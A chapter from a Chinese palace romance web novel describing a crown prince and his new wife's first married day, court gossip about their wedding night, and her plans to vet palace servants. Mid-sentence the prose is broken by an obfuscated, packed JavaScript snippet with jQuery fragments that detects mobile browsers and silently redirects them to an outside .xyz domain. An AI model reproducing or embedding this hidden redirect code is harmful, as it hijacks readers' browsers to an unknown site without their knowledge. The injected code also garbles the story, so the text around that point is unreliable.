10. 如胶似漆
作品:《携太子偷家》 新婚头一日,太子夫妇入宫向圣上问安,走在宫道上便是一道风景,太子一路紧紧牵着太子妃,素日严肃的太子跟太子妃有说有笑,太子妃眼波流转,脸上透出无限娇羞,当真是情甜似蜜。
皇帝望着恩爱的一对壁人,也是十分高兴,笑呵呵地接过了陆云峥奉的茶,与谢贵妃打趣:“朕这也算当上家翁了。”
陆云峥微微低头,面上含着浅浅笑意,目光却悄悄地探向坐在上首的这位帝王。
这一位圣上从登基起,接手的就是大战将败的江山,硬是杀出一条路来,守北境,平东夷,退南蛮,可谓是一代英主。
可英主也是皇帝,对军功显赫的臣子,当真没有一点防备之心,拔除之欲吗?
陆云峥突然颤抖一下,敛回自己的目光。
皇帝事忙,不过一会便叫上太子又回紫宸殿议事了,见仪秀宫没了旁人,谢贵妃屏退左右,拉着陆云峥坐下,低声问道:“如何?在东宫一切可好?太子待你可好?”
陆云峥笑道:“一切都好。太子待我很好,谢娘娘记挂。”从前谢贵妃对她和嘉珩照拂颇多,陆云峥是真心把谢贵妃当长辈看待的。
谢贵妃仔细看她良久,点头道:“你们从前是同窗,打打闹闹一起长大的,彼此都了解,日后成了夫妻,就更要互相扶持、互相爱重。”说着,她仿佛有些不好意思,“我看这情形,太子是极喜欢你的,你们都年轻,好好相处,不着急。”
这话说得怪,没头没尾,陆云峥心里奇怪,面上却仍是笑着应下。
又闲话几句,贺珵派内监来传话,请陆云峥到凤仪宫进香。陆云峥辞别了谢贵妃,往凤仪宫去。
昨日大婚时,其实已经拜过文昭皇后的牌位。今日来,是陪贺珵再进一炷香。
陆云峥到时,贺珵已经站在文昭皇后的画像前,负手而立,一言不发。陆云峥接过兰芮递来的香火,认真拜了三拜。
文昭皇后出身上洛明氏,是皇帝的结发妻。
陆云峥发自内心觉得,文昭皇后当真担得起“母仪天下”四字。治内宫,她知人善任,赏罚分明,陆云峥还是她提拔起来的女官;治大国,她有经世之才,她在世时,户部直接向皇后汇报,领着户部开源节流,一点点攒下来各地大军的军费。
陆云峥很是愧疚过一段时间的,她的玉佩前脚刚退回,文昭皇后后脚就薨逝了。她想安慰几句,可母后薨逝,贺珵没有了到后宫走动的机会,陆云峥连安慰的机会也寻不着。
正想着如何措辞安慰贺珵,贺珵便转过身来,问她:“今日没人为难你吧?”
陆云峥有心调节氛围,仰起脸得意道:“本宫人见人爱,未出阁时,不知多少娘娘想有我这样的女儿,想要我做儿媳,你就别操心了!”
贺珵一面自然地牵起她手,一面向外走去,面无表情:“可惜了,别人的儿媳你是做不了了,我娘抢先了。”
陆云峥拍他一下:“慢点。”
他腿长,大步走起路来,她跟上去有点费劲。
贺珵没回话,放缓了步伐。
一路上宫人们遇见二人都恭敬行礼,少不了那好奇多事的多看他们几眼。贺珵权当没看见,牵着陆云峥到崇明门,扶她上了马车,自己也坐了上去。
东宫在皇城东侧,与皇城内宫隔了两条宫巷,从崇明门出内宫,从崇德门进东宫,不过两刻钟便到。
她现下也没有专门住着哪个宫殿,就和贺珵一起住在会宁殿后殿,贺珵吩咐先传膳,他自去处理些政务,一会便来与陆云峥一起用饭。
见贺珵走了,梅苒上前来,红着脸凑到陆云峥耳根旁道:“姑娘,今儿您出门了,喜娘来房中看过,又问我们昨晚殿下有没有要水,出门的时候脸都青了。”
陆云峥一静。
原来是这个!她想起谢贵妃那委婉的表情和没头没尾的话,没忍住笑出了声。
贺珵回来时,已换了常服,一边进门一边与陆云峥道:“今日不知怎的,宫人们看我们的眼神都怪怪的。我们成婚罢了,倒像是什么稀奇事?”
陆云峥没止住笑,前仰后合笑了半天,贺珵一脸疑惑,问她笑什么。
陆云峥擦擦眼角笑出来的眼泪,道:“殿下,喜娘今日来房中,我们的床铺干干净净平平整整,但我们……装得如胶似漆……哈哈哈哈,大家以为您……哈哈哈哈……”
陆云峥伏在桌子上笑得说不出话,贺珵听懂了,后面的话无需陆云峥说出口——既不是他不喜欢太子妃,那只能是太子殿下雄.风不振了。
这下贺珵的脸也青了,兰芮瞅那吓人的脸色,在一旁都快跪下了,可自家姑娘还乐不可支。
贺珵紧紧抿着嘴:“有那么好笑?”
陆云峥点头又摇头,直起腰来:“哎呀,不行了。”
贺珵想骂人,又不知道该骂谁,只能把筷子往桌子上一拍,冷冷道:“哼!如今的宫人是越发没规矩了,什么话都敢传。回头该请谢贵妃好好管管才是。”
陆云峥心想,那您是没看见谢贵妃娘娘的脸色。
闹够了,陆云峥也顾及他面子,安慰他道:“只要我们在外还是恩爱夫妻的模样,这样的传言不过三五日就散了。届时问起来,我自知道怎么答。又没人能趴我们床底下听,那还不是我说了算吗。”
贺珵勉为其难地重新执起筷子。
饭毕,贺珵叫撤了餐食,也没带随从侍女,领着陆云峥从会宁殿后门到了后堂一处宫殿。
陆云峥初来乍到,也不知道这是哪儿,只见殿内烛火跃动,她问道:“这是哪儿?”
贺珵没答,自推开殿门,几盏长明灯依次陈列在桌案两侧,桌案上,供奉着文昭皇后牌位,侧旁又有两座牌位,成色极新,显然是刚供奉不久的。
贺珵带她走上前去,她看清牌位上刻的名字,一时定住,竟说不出话来——
那是她的父母。
贺珵从桌案上取了火折子,点燃炷香递给陆云峥,道:“无论以后如何,如今好歹也算是成婚了,上炷香叫你爹娘知道。”
陆云峥吸吸鼻子,忍着眼泪,与贺珵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016661|178472||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一起拜了三拜,又跪下磕了个头。
她父母俱丧,又无亲眷,礼部操持婚礼的时候自然也没顾及她的亲长,只请了朝中德高望重的老臣代为送嫁。
除了贺珵,没人还记得,她也要拜拜她的爹娘。
“谢谢。”这句谢,陆云峥是真心实意的。
贺珵微微点头,又领她回了会宁殿,一一向她交待起来:“从前我这东宫没有女主,凡事没个体统。如今你在,要劳烦你张罗起来,最要紧的一点就是约束好宫人,不要叫外头人抓到逾制失礼的把柄。若有实在拿不准主意的,问我就是。”
打理宫务陆云峥在行,她一口答应:“行,我知道。”
“这批宫人……有一半是母后过世后调来东宫服侍的,基本是明氏的家仆,问题不大;另一半就五花八门了,你得空了仔细摸摸底,能用的留下,不能用的拟个单子,我们找个机会把人换掉。”贺珵又取出一本花名册递给陆云峥。
陆云峥接过,翻了两页,道:“好。说来上次在誉州救下那女孩,我看她是个有胆识的,不若把她接回东宫来?我也好有个自己人。”
这话是真的。陆云峥从前是伴读,身边没什么可靠的自己人,如今要做什么事也不方便,她想了好久,跟谢贵妃把刘沁要了出来,可人手还是太少。
贺珵知道她的意思,思考了片刻,点点头:“你独自一人过齐王府不方便,过两日沐休我找个由头,与你一起过去。”
新婚第一天的新郎官也躲不了懒,又到前殿处理政事去了。陆云峥也没闲着,召来了刘沁。
刘沁虽出身平民,却十分聪慧,行事自有一套路数,在宫中任了几年典饎,更是历练起来了。东宫一应配置比拟皇宫朝廷,设有三司,是以陆云峥索性叫刘沁领了司闺一职,兼领东宫三司。
刘沁办事向来是稳妥的,陆云峥听了她回禀,又把刚刚贺珵叮嘱她的话叮嘱她一番,确认房内没有其他人,才问道:“银蕊派人盯住了吗?”
银蕊始终是陆云峥的一块心病。
从乌娄回来,她仍住在明瑟宫的观墨堂里。
因怕打草惊蛇,也不敢随意打发了银蕊,借口自己身份低微,只留了兰芮梅苒两人照顾日常,其他小宫女做些洒扫浇花的活计,暗暗叫人盯住了她,想要再挖些眉目出来。可回宫数月,一直也没再等到她与谁接头。
陆云峥人虽离宫了,这条线索却不愿断,幸好她和刘沁在宫内供职多年,留了耳目放在宫里,就等着她露出马脚。
刘沁点头:“您带走了兰芮梅苒两位姑娘,谢贵妃娘娘要给明瑟宫补人,我把跟在我身边的徒儿举荐过去了,一有动静,她会想法子把消息递到我手上。”
陆云峥轻轻叩着桌角,道:“这就好。人一定盯住了。这些银钱,你拿去给禹哥小孙他们,这些日子尽量少活动,低调些,我怕有人盯着太子和我不放,别把他们翻出来。若有那没根基、品行善的小乞儿,能帮就帮些,也是可怜。”
刘沁接过,笑了:“殿下心善,一如从前。”